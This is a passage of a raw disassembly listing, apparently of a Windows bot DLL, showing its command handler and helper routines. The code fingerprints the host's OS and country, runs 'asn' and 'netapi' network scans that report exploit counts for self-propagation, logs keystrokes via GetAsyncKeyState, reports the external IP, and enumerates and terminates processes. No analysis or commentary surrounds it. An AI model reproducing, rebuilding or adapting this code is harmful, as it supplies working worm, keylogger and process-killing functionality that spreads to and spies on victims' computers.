jmp short loc_10008EDA
; ---------------------------------------------------------------------------
loc_10008ECB: ; CODE XREF: sub_10007424:loc_10008EFEj
mov edx, [ebp+var_2508]
add edx, 1
mov [ebp+var_2508], edx
loc_10008EDA: ; CODE XREF: sub_10007424+1AA5j
cmp [ebp+var_2508], 5Bh
jge short loc_10008F00
mov eax, [ebp+lpBuffer]
movsx ecx, byte ptr [eax]
cmp ecx, [ebp+var_2508]
jnz short loc_10008EFE
mov [ebp+var_250C], 1
loc_10008EFE: ; CODE XREF: sub_10007424+1ACEj
jmp short loc_10008ECB
; ---------------------------------------------------------------------------
loc_10008F00: ; CODE XREF: sub_10007424+1ABDj
mov [ebp+var_2508], 61h
jmp short loc_10008F1B
; ---------------------------------------------------------------------------
loc_10008F0C: ; CODE XREF: sub_10007424:loc_10008F3Fj
mov edx, [ebp+var_2508]
add edx, 1
mov [ebp+var_2508], edx
loc_10008F1B: ; CODE XREF: sub_10007424+1AE6j
cmp [ebp+var_2508], 7Bh
jge short loc_10008F41
mov eax, [ebp+lpBuffer]
movsx ecx, byte ptr [eax]
cmp ecx, [ebp+var_2508]
jnz short loc_10008F3F
mov [ebp+var_250C], 1
loc_10008F3F: ; CODE XREF: sub_10007424+1B0Fj
jmp short loc_10008F0C
; ---------------------------------------------------------------------------
loc_10008F41: ; CODE XREF: sub_10007424+1AFEj
cmp [ebp+var_250C], 0
jnz short loc_10008F54
mov [ebp+lpBuffer], offset aPc_1 ; "PC"
loc_10008F54: ; CODE XREF: sub_10007424+1B24j
mov [ebp+var_24F0], offset dword_1002D130
mov [ebp+VersionInformation.dwOSVersionInfoSize], 94h
lea edx, [ebp+VersionInformation]
push edx ; lpVersionInformation
call ds:GetVersionExA ; GetVersionExA
call ds:GetTickCount ; GetTickCount
push eax ; Seed
call ds:srand ; srand
add esp, 4
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz short loc_10008FC2
cmp [ebp+VersionInformation.dwMinorVersion], 0
jnz short loc_10008FC2
cmp [ebp+VersionInformation.dwPlatformId], 1
jnz short loc_10008FAA
mov [ebp+var_24F0], offset aWindows95 ; "WINDOWS 95"
loc_10008FAA: ; CODE XREF: sub_10007424+1B7Aj
cmp [ebp+VersionInformation.dwPlatformId], 2
jnz short loc_10008FBD
mov [ebp+var_24F0], offset aWindowsNt ; "WINDOWS NT"
loc_10008FBD: ; CODE XREF: sub_10007424+1B8Dj
jmp loc_10009065
; ---------------------------------------------------------------------------
loc_10008FC2: ; CODE XREF: sub_10007424+1B68j
; sub_10007424+1B71j
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz short loc_10008FE3
cmp [ebp+VersionInformation.dwMinorVersion], 0Ah
jnz short loc_10008FE3
mov [ebp+var_24F0], offset aWindows98 ; "WINDOWS 98"
jmp loc_10009065
; ---------------------------------------------------------------------------
loc_10008FE3: ; CODE XREF: sub_10007424+1BA5j
; sub_10007424+1BAEj
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz short loc_10009001
cmp [ebp+VersionInformation.dwMinorVersion], 5Ah
jnz short loc_10009001
mov [ebp+var_24F0], offset aWindowsMe ; "WINDOWS ME"
jmp short loc_10009065
; ---------------------------------------------------------------------------
loc_10009001: ; CODE XREF: sub_10007424+1BC6j
; sub_10007424+1BCFj
cmp [ebp+VersionInformation.dwMajorVersion], 5
jnz short loc_1000901F
cmp [ebp+VersionInformation.dwMinorVersion], 0
jnz short loc_1000901F
mov [ebp+var_24F0], offset aWindows2k ; "WINDOWS 2K"
jmp short loc_10009065
; ---------------------------------------------------------------------------
loc_1000901F: ; CODE XREF: sub_10007424+1BE4j
; sub_10007424+1BEDj
cmp [ebp+VersionInformation.dwMajorVersion], 5
jnz short loc_1000903D
cmp [ebp+VersionInformation.dwMinorVersion], 1
jnz short loc_1000903D
mov [ebp+var_24F0], offset aWindowsXp ; "WINDOWS XP"
jmp short loc_10009065
; ---------------------------------------------------------------------------
loc_1000903D: ; CODE XREF: sub_10007424+1C02j
; sub_10007424+1C0Bj
cmp [ebp+VersionInformation.dwMajorVersion], 5
jnz short loc_1000905B
cmp [ebp+VersionInformation.dwMinorVersion], 2
jnz short loc_1000905B
mov [ebp+var_24F0], offset aWindows2k3 ; "WINDOWS 2K3"
jmp short loc_10009065
; ---------------------------------------------------------------------------
loc_1000905B: ; CODE XREF: sub_10007424+1C20j
; sub_10007424+1C29j
mov [ebp+var_24F0], offset aUnknown ; "UNKNOWN"
loc_10009065: ; CODE XREF: sub_10007424:loc_10008FBDj
; sub_10007424+1BBAj ...
call ds:GetTickCount ; GetTickCount
push eax ; Seed
call ds:srand ; srand
add esp, 4
push 0Ah ; cchData
lea eax, [ebp+LCData]
push eax ; lpLCData
push 7 ; LCType
push 800h ; Locale
call ds:GetLocaleInfoA ; GetLocaleInfoA
mov ecx, [ebp+var_24F0]
push ecx
lea edx, [ebp+LCData]
push edx ; char
push offset aUserinfoCountr ; "{USERINFO}: Country %s operating system"...
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 10h
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100090B2: ; CODE XREF: sub_10007424+1A45j
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aScan ; "scan"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_1000955B
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+Source], 0
jnz short loc_100090E5
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100090E5: ; CODE XREF: sub_10007424+1CBAj
xor ecx, ecx
mov cl, byte_1002D0F6
test ecx, ecx
jz short loc_100090F6
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100090F6: ; CODE XREF: sub_10007424+1CCBj
mov byte_1002D0F6, 1
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Str2]
push eax ; Str2
push offset aAsn ; "asn"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_100091B4
mov word ptr [ebp+var_2604], 8Bh
mov word ptr [ebp+var_2604+2], 0
mov [ebp+var_2600], 0
push 40h ; Count
push offset aAsn_0 ; "asn"
lea ecx, [ebp+var_25FE]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
lea edx, [ebp+var_261C]
push edx
lea eax, [ebp+var_2618]
push eax
lea ecx, [ebp+var_2614]
push ecx
lea edx, [ebp+var_2610]
push edx
push offset aD_D_D_D_1 ; "%d.%d.%d.%d"
push offset Dest ; Src
call ds:sscanf ; sscanf
add esp, 18h
mov eax, [ebp+var_2614]
push eax
mov ecx, dword ptr [ebp+var_2610]
push ecx
mov edx, dword ptr [ebp+var_2610]
push edx ; char
push offset aScanningD_x_x_ ; "{SCANNING}: %d.x.x.x - %d.%d.x.x..."
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 14h
mov byte_1002D0F6, 1
jmp loc_100092D8
; ---------------------------------------------------------------------------
loc_100091B4: ; CODE XREF: sub_10007424+1CF4j
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; Str2
push offset aNetapi ; "netapi"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10009268
mov word ptr [ebp+var_2604], 8Bh
mov word ptr [ebp+var_2604+2], 0
mov [ebp+var_2600], 0
push 40h ; Count
push offset aNetapi_0 ; "netapi"
lea eax, [ebp+var_25FE]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
lea ecx, [ebp+var_261C]
push ecx
lea edx, [ebp+var_2618]
push edx
lea eax, [ebp+var_2614]
push eax
lea ecx, [ebp+var_2610]
push ecx
push offset aD_D_D_D_2 ; "%d.%d.%d.%d"
push offset Dest ; Src
call ds:sscanf ; sscanf
add esp, 18h
mov edx, [ebp+var_2614]
push edx
mov eax, dword ptr [ebp+var_2610]
push eax
mov ecx, dword ptr [ebp+var_2610]
push ecx ; char
push offset aScanningD_x__0 ; "{SCANNING}: %d.x.x.x - %d.%d.x.x..."
lea edx, [ebp+Dest]
push edx ; int
call sub_10007303
add esp, 14h
mov byte_1002D0F6, 1
jmp short loc_100092D8
; ---------------------------------------------------------------------------
loc_10009268: ; CODE XREF: sub_10007424+1DABj
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; Str
call ds:atoi ; atoi
add esp, 4
mov word ptr [ebp+var_2604], ax
mov edx, [ebp+var_2604]
and edx, 0FFFFh
test edx, edx
jnz short loc_100092B3
push offset aScanningFailed ; "{SCANNING}: Failed..."
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 8
mov byte_1002D0F6, 0
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100092B3: ; CODE XREF: sub_10007424+1E6Dj
mov word ptr [ebp+var_2604+2], 0
mov [ebp+var_2600], 0
push 40h ; Size
push 0 ; Val
lea ecx, [ebp+var_25FE]
push ecx ; Dst
call memset ; memset
add esp, 0Ch
loc_100092D8: ; CODE XREF: sub_10007424+1D8Bj
; sub_10007424+1E42j
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Source]
push eax ; Str
call ds:atoi ; atoi
add esp, 4
mov [ebp+var_25A4], eax
mov ecx, [ebp+var_25A4]
mov [ebp+var_2B58], ecx
cmp [ebp+var_2B58], 1
jz short loc_1000931B
cmp [ebp+var_2B58], 2
jz short loc_10009356
cmp [ebp+var_2B58], 3
jz short loc_10009362
jmp short loc_1000936C
; ---------------------------------------------------------------------------
loc_1000931B: ; CODE XREF: sub_10007424+1EE1j
mov [ebp+var_2608], 64h
lea edx, [ebp+var_261C]
push edx
lea eax, [ebp+var_2618]
push eax
lea ecx, [ebp+var_2614]
push ecx
lea edx, [ebp+var_2610]
push edx
push offset aD_D_D_D_3 ; "%d.%d.%d.%d"
push offset Dest ; Src
call ds:sscanf ; sscanf
add esp, 18h
jmp short loc_1000936C
; ---------------------------------------------------------------------------
loc_10009356: ; CODE XREF: sub_10007424+1EEAj
mov [ebp+var_2608], 32h
jmp short loc_1000936C
; ---------------------------------------------------------------------------
loc_10009362: ; CODE XREF: sub_10007424+1EF3j
mov [ebp+var_2608], 14h
loc_1000936C: ; CODE XREF: sub_10007424+1EF5j
; sub_10007424+1F30j ...
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+var_74], 0
jz short loc_1000939B
push 10h ; Count
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+var_74]
push edx ; Source
lea eax, [ebp+var_25BE]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
jmp loc_10009496
; ---------------------------------------------------------------------------
loc_1000939B: ; CODE XREF: sub_10007424+1F53j
lea ecx, [ebp+var_261C]
push ecx
lea edx, [ebp+var_2618]
push edx
lea eax, [ebp+var_2614]
push eax
lea ecx, [ebp+var_2610]
push ecx
push offset aD_D_D_D_4 ; "%d.%d.%d.%d"
push offset Dest ; Src
call ds:sscanf ; sscanf
add esp, 18h
mov edx, [ebp+var_127]
and edx, 0FFh
test edx, edx
jz short loc_100093FD
mov eax, dword ptr [ebp+var_2610]
push eax
push offset aD_x_x_x ; "%d.x.x.x"
push 10h ; Count
lea ecx, [ebp+var_25BE]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
jmp loc_10009496
; ---------------------------------------------------------------------------
loc_100093FD: ; CODE XREF: sub_10007424+1FB4j
mov edx, [ebp+var_127+1]
and edx, 0FFh
test edx, edx
jz short loc_10009434
mov eax, [ebp+var_2614]
push eax
mov ecx, dword ptr [ebp+var_2610]
push ecx
push offset aD_D_x_x ; "%d.%d.x.x"
push 10h ; Count
lea edx, [ebp+var_25BE]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
jmp short loc_10009496
; ---------------------------------------------------------------------------
loc_10009434: ; CODE XREF: sub_10007424+1FE7j
mov eax, [ebp+var_127+2]
and eax, 0FFh
test eax, eax
jz short loc_10009471
mov ecx, [ebp+var_2618]
push ecx
mov edx, [ebp+var_2614]
push edx
mov eax, dword ptr [ebp+var_2610]
push eax
push offset aD_D_D_x ; "%d.%d.%d.x"
push 10h ; Count
lea ecx, [ebp+var_25BE]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 18h
jmp short loc_10009496
; ---------------------------------------------------------------------------
loc_10009471: ; CODE XREF: sub_10007424+201Dj
mov edx, [ebp+var_2614]
push edx
mov eax, dword ptr [ebp+var_2610]
push eax
push offset aD_D_x_x_0 ; "%d.%d.x.x"
push 10h ; Count
lea ecx, [ebp+var_25BE]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
loc_10009496: ; CODE XREF: sub_10007424+1F72j
; sub_10007424+1FD4j ...
mov dl, [ebp+var_11F]
mov byte_1002D0F5, dl
mov byte ptr [ebp+var_25AD], 0
lea eax, [ebp+var_25BE]
push eax ; int
push offset aScan_0 ; "scan"
call sub_1000A752
add esp, 8
mov [ebp+var_260C], eax
cmp [ebp+var_260C], 0FFFFFFFFh
jnz short loc_100094D8
mov byte_1002D0F6, 0
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100094D8: ; CODE XREF: sub_10007424+20A6j
mov ecx, [ebp+var_260C]
imul ecx, 0CCh
mov byte_10012E98[ecx], 1
lea edx, [ebp+var_260C]
push edx
push offset sub_10009EF0
call sub_10004C65
add esp, 8
mov ecx, [ebp+var_260C]
imul ecx, 0CCh
mov dword_10012EA0[ecx], eax
mov edx, [ebp+var_260C]
imul edx, 0CCh
cmp dword_10012EA0[edx], 0
jnz short loc_1000953C
push 1
mov eax, [ebp+var_260C]
push eax
call sub_1000AB26
add esp, 8
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000953C: ; CODE XREF: sub_10007424+2100j
; sub_10007424+2130j
mov ecx, [ebp+var_25AD]
and ecx, 0FFh
test ecx, ecx
jnz short loc_10009556
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_1000953C
; ---------------------------------------------------------------------------
loc_10009556: ; CODE XREF: sub_10007424+2126j
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000955B: ; CODE XREF: sub_10007424+1CA9j
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Dst]
push eax ; Str2
push offset aKeylog ; "keylog"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_1000982A
loc_1000957C: ; CODE XREF: sub_10007424:loc_10009825j
mov ecx, 1
test ecx, ecx
jz loc_1000982A
mov [ebp+uCode], 0
jmp short loc_100095A4
; ---------------------------------------------------------------------------
loc_10009595: ; CODE XREF: sub_10007424:loc_1000963Bj
mov edx, [ebp+uCode]
add edx, 1
mov [ebp+uCode], edx
loc_100095A4: ; CODE XREF: sub_10007424+216Fj
cmp [ebp+uCode], 100h
jge loc_10009640
mov eax, [ebp+uCode]
push eax ; vKey
call ds:GetAsyncKeyState ; GetAsyncKeyState
movsx ecx, ax
cmp ecx, 0FFFF8001h
jnz short loc_1000963B
push 0 ; idThread
call ds:GetKeyboardLayout ; GetKeyboardLayout
push eax ; dwhkl
push 0 ; uMapType
mov edx, [ebp+uCode]
push edx ; uCode
call ds:MapVirtualKeyExA ; MapVirtualKeyExA
mov [ebp+var_2620], eax
push 104h ; cchSize
lea eax, [ebp+String]
push eax ; lpString
mov ecx, [ebp+var_2620]
shl ecx, 10h
push ecx ; lParam
call ds:GetKeyNameTextA ; GetKeyNameTextA
lea edx, [ebp+String]
push edx ; Str
call strlen ; strlen
add esp, 4
test eax, eax
jbe short loc_1000963B
lea eax, [ebp+String]
push eax
push offset asc_100127A0 ; "\r\n"
push offset aKeylogS ; "{KEYLOG}:%s\r\n"
lea ecx, [ebp+Dest]
push ecx ; int
call sub_10007303
add esp, 10h
jmp short loc_10009640
; ---------------------------------------------------------------------------
loc_1000963B: ; CODE XREF: sub_10007424+21A6j
; sub_10007424+21F3j
jmp loc_10009595
; ---------------------------------------------------------------------------
loc_10009640: ; CODE XREF: sub_10007424+218Aj
; sub_10007424+2215j
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Dst]
push eax ; Str2
push offset aScanstop ; "scanstop"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_1000968A
push offset aScan_1 ; "scan"
call sub_1000A8D0
add esp, 4
mov ecx, dword_1002D0EC
push ecx ; char
push offset aScanstopStoppe ; "{SCANSTOP}: Stopped scanning... :%d: Ro"...
lea edx, [ebp+Dest]
push edx ; int
call sub_10007303
add esp, 0Ch
jmp loc_10009825
; ---------------------------------------------------------------------------
loc_1000968A: ; CODE XREF: sub_10007424+2237j
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aEip ; "!eip"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_100097C5
mov [ebp+NumberOfBytesRead], 0
mov [ebp+var_2B48], 0
xor edx, edx
mov [ebp+var_2B47], edx
mov [ebp+var_2B43], edx
mov [ebp+var_2B3F], edx
mov [ebp+var_2B3B], dx
mov [ebp+var_2B39], dl
mov [ebp+PathName], 0
mov ecx, 40h
xor eax, eax
lea edi, [ebp+var_2A2B]
rep stosd
stosw
stosb
mov [ebp+TempFileName], 0
mov ecx, 40h
xor eax, eax
lea edi, [ebp+var_2B37]
rep stosd
stosw
stosb
mov [ebp+var_2928], 0
mov ecx, 7Fh
xor eax, eax
lea edi, [ebp+var_2927]
rep stosd
stosw
stosb
lea eax, [ebp+PathName]
push eax ; lpBuffer
push 103h ; nBufferLength
call ds:GetTempPathA ; GetTempPathA
lea ecx, [ebp+TempFileName]
push ecx ; lpTempFileName
push 0 ; uUnique
push offset PrefixString ; "Temp"
lea edx, [ebp+PathName]
push edx ; lpPathName
call ds:GetTempFileNameA ; GetTempFileNameA
xor eax, eax
test eax, eax
jz short loc_100097C3
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 1 ; dwShareMode
push 80000000h ; dwDesiredAccess
lea ecx, [ebp+TempFileName]
push ecx ; lpFileName
call ds:CreateFileA ; CreateFileA
mov [ebp+hFile], eax
cmp [ebp+hFile], 0FFFFFFFFh
jz short loc_100097C3
push 0 ; lpOverlapped
lea edx, [ebp+NumberOfBytesRead]
push edx ; lpNumberOfBytesRead
push 0Fh ; nNumberOfBytesToRead
lea eax, [ebp+var_2B48]
push eax ; lpBuffer
mov ecx, [ebp+hFile]
push ecx ; hFile
call ds:ReadFile ; ReadFile
lea edx, [ebp+var_2B48]
push edx ; char
push offset aExternalIpS___ ; "{EXTERNAL-IP} %s..."
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 0Ch
loc_100097C3: ; CODE XREF: sub_10007424+2335j
; sub_10007424+2363j
jmp short loc_10009825
; ---------------------------------------------------------------------------
loc_100097C5: ; CODE XREF: sub_10007424+2281j
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aScanstats ; "scanstats"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10009825
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+Str2], 0
jz short loc_1000980B
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; Str
call ds:atoi ; atoi
add esp, 4
cmp dword_1002D0EC, eax
jl short loc_10009825
loc_1000980B: ; CODE XREF: sub_10007424+23C9j
mov eax, dword_1002D0EC
push eax ; char
push offset aScanstatsExplo ; "{SCANSTATS}: Exploits %d..."
lea ecx, [ebp+Dest]
push ecx ; int
call sub_10007303
add esp, 0Ch
loc_10009825: ; CODE XREF: sub_10007424+2261j
; sub_10007424:loc_100097C3j ...
jmp loc_1000957C
; ---------------------------------------------------------------------------
loc_1000982A: ; CODE XREF: sub_10007424+124j
; sub_10007424+156j ...
pop edi
mov esp, ebp
pop ebp
retn
sub_10007424 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009830 proc near ; DATA XREF: .data:1000E04Co
push ebp
mov ebp, esp
call sub_1000983F
call sub_1000984F
pop ebp
retn
sub_10009830 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000983F proc near ; CODE XREF: sub_10009830+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D135
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_1000983F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000984F proc near ; CODE XREF: sub_10009830+8p
push ebp
mov ebp, esp
push offset sub_10009861 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000984F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10009861()
sub_10009861 proc near ; DATA XREF: sub_1000984F+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D135
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_10009861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009871 proc near ; DATA XREF: .data:1000E050o
push ebp
mov ebp, esp
call sub_10009880
call sub_10009890
pop ebp
retn
sub_10009871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009880 proc near ; CODE XREF: sub_10009871+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D134
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_10009880 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009890 proc near ; CODE XREF: sub_10009871+8p
push ebp
mov ebp, esp
push offset sub_100098A2 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10009890 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_100098A2()
sub_100098A2 proc near ; DATA XREF: sub_10009890+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D134
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_100098A2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 12Ch
push 0
push 2
call CreateToolhelp32Snapshot ; CreateToolhelp32Snapshot
mov [ebp-12Ch], eax
cmp dword ptr [ebp-12Ch], 0FFFFFFFFh
jz short loc_10009943
mov dword ptr [ebp-128h], 128h
lea eax, [ebp-128h]
push eax
mov ecx, [ebp-12Ch]
push ecx
call Process32First ; Process32First
test eax, eax
jz short loc_10009936
loc_100098F4: ; CODE XREF: .text:loc_10009934j
lea edx, [ebp-128h]
push edx
mov eax, [ebp-12Ch]
push eax
call Process32Next ; Process32Next
test eax, eax
jz short loc_10009936
mov ecx, [ebp+8]
push ecx
lea edx, [ebp-104h]
push edx
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10009934
mov eax, [ebp-12Ch]
push eax
call ds:CloseHandle ; CloseHandle
mov al, 1
jmp short loc_10009945
; ---------------------------------------------------------------------------
loc_10009934: ; CODE XREF: .text:10009921j
jmp short loc_100098F4
; ---------------------------------------------------------------------------
loc_10009936: ; CODE XREF: .text:100098F2j
; .text:10009909j
mov ecx, [ebp-12Ch]
push ecx
call ds:CloseHandle ; CloseHandle
loc_10009943: ; CODE XREF: .text:100098D1j
xor al, al
loc_10009945: ; CODE XREF: .text:10009932j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10009949(DWORD dwProcessId)
sub_10009949 proc near ; CODE XREF: sub_10007424+18E2p
hObject = dword ptr -4
dwProcessId = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+dwProcessId]
push eax ; dwProcessId
push 0 ; bInheritHandle
push 1F0FFFh ; dwDesiredAccess
call ds:OpenProcess ; OpenProcess
mov [ebp+hObject], eax
cmp [ebp+hObject], 0
jz short loc_10009989
push 0 ; uExitCode
mov ecx, [ebp+hObject]
push ecx ; hProcess
call ds:TerminateProcess ; TerminateProcess
test eax, eax
jnz short loc_10009985
mov edx, [ebp+hObject]
push edx ; hObject
call ds:CloseHandle ; CloseHandle
xor al, al
jmp short loc_1000998B
; ---------------------------------------------------------------------------
loc_10009985: ; CODE XREF: sub_10009949+2Cj
mov al, 1
jmp short loc_1000998B
; ---------------------------------------------------------------------------
loc_10009989: ; CODE XREF: sub_10009949+1Cj
xor al, al
loc_1000998B: ; CODE XREF: sub_10009949+3Aj
; sub_10009949+3Ej
mov esp, ebp
pop ebp
retn
sub_10009949 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_1000998F(char *Str2,int)
sub_1000998F proc near ; CODE XREF: sub_10007424+1845p
; sub_10007424+1891p
hSnapshot = dword ptr -130h
Str1 = PROCESSENTRY32 ptr -12Ch
hObject = dword ptr -4
Str2 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 130h
push 0 ; th32ProcessID
push 2 ; dwFlags
call CreateToolhelp32Snapshot ; CreateToolhelp32Snapshot
mov [ebp+hSnapshot], eax
cmp [ebp+hSnapshot], 0FFFFFFFFh
jz loc_10009A9C
mov [ebp+Str1.dwSize], 128h
lea eax, [ebp+Str1]
push eax ; lppe
mov ecx, [ebp+hSnapshot]
push ecx ; hSnapshot
call Process32First ; Process32First
test eax, eax
jz loc_10009A8F
loc_100099D9: ; CODE XREF: sub_1000998F:loc_10009A8Aj
lea edx, [ebp+Str1]
push edx ; lppe
mov eax, [ebp+hSnapshot]
push eax ; hSnapshot
call Process32Next ; Process32Next
test eax, eax
jz loc_10009A8F
mov ecx, [ebp+Str2]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_10009A45
mov eax, [ebp+Str2]
push eax ; Str2
lea ecx, [ebp+Str1.szExeFile]
push ecx ; Str1
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10009A43
mov edx, [ebp+Str1.th32ProcessID]
push edx ; dwProcessId
push 0 ; bInheritHandle
push 1F0FFFh ; dwDesiredAccess
call ds:OpenProcess ; OpenProcess
mov [ebp+hObject], eax
push 0 ; uExitCode
mov eax, [ebp+hObject]
push eax ; hProcess
call ds:TerminateProcess ; TerminateProcess
mov ecx, [ebp+hObject]
push ecx ; hObject
call ds:CloseHandle ; CloseHandle
loc_10009A43: ; CODE XREF: sub_1000998F+85j
jmp short loc_10009A8A
; ---------------------------------------------------------------------------
loc_10009A45: ; CODE XREF: sub_1000998F+6Dj
mov edx, [ebp+Str1.th32ProcessID]
push edx ; th32ProcessID
push 2 ; dwFlags
call CreateToolhelp32Snapshot ; CreateToolhelp32Snapshot
mov [ebp+hObject], eax
mov eax, [ebp+Str1.th32ProcessID]
push eax
lea ecx, [ebp+Str1.szExeFile]
push ecx ; char
push offset aSD ; "%s (%d)"
mov edx, [ebp+arg_4]
push edx ; int
call sub_10007303
add esp, 10h
mov eax, [ebp+hObject]
push eax ; hObject
call ds:CloseHandle ; CloseHandle
push 3E8h ; dwMilliseconds
call ds:Sleep ; Sleep
loc_10009A8A: ; CODE XREF: sub_1000998F:loc_10009A43j
jmp loc_100099D9
; ---------------------------------------------------------------------------
loc_10009A8F: ; CODE XREF: sub_1000998F+44j
; sub_1000998F+5Fj
mov ecx, [ebp+hSnapshot]
push ecx ; hObject
call ds:CloseHandle ; CloseHandle
loc_10009A9C: ; CODE XREF: sub_1000998F+1Fj
mov esp, ebp
pop ebp
retn
sub_1000998F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009AA0 proc near ; DATA XREF: .data:1000E054o
push ebp
mov ebp, esp
call sub_10009AAF
call sub_10009ABF
pop ebp
retn
sub_10009AA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009AAF proc near ; CODE XREF: sub_10009AA0+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D13F
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_10009AAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009ABF proc near ; CODE XREF: sub_10009AA0+8p
push ebp
mov ebp, esp
push offset sub_10009AD1 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10009ABF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10009AD1()
sub_10009AD1 proc near ; DATA XREF: sub_10009ABF+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D13F
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_10009AD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009AE1 proc near ; DATA XREF: .data:1000E058o
push ebp
mov ebp, esp
call sub_10009AF0
call sub_10009B00
pop ebp
retn
sub_10009AE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009AF0 proc near ; CODE XREF: sub_10009AE1+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D13E
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_10009AF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009B00 proc near ; CODE XREF: sub_10009AE1+8p
push ebp
mov ebp, esp
push offset sub_10009B12 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10009B00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10009B12()
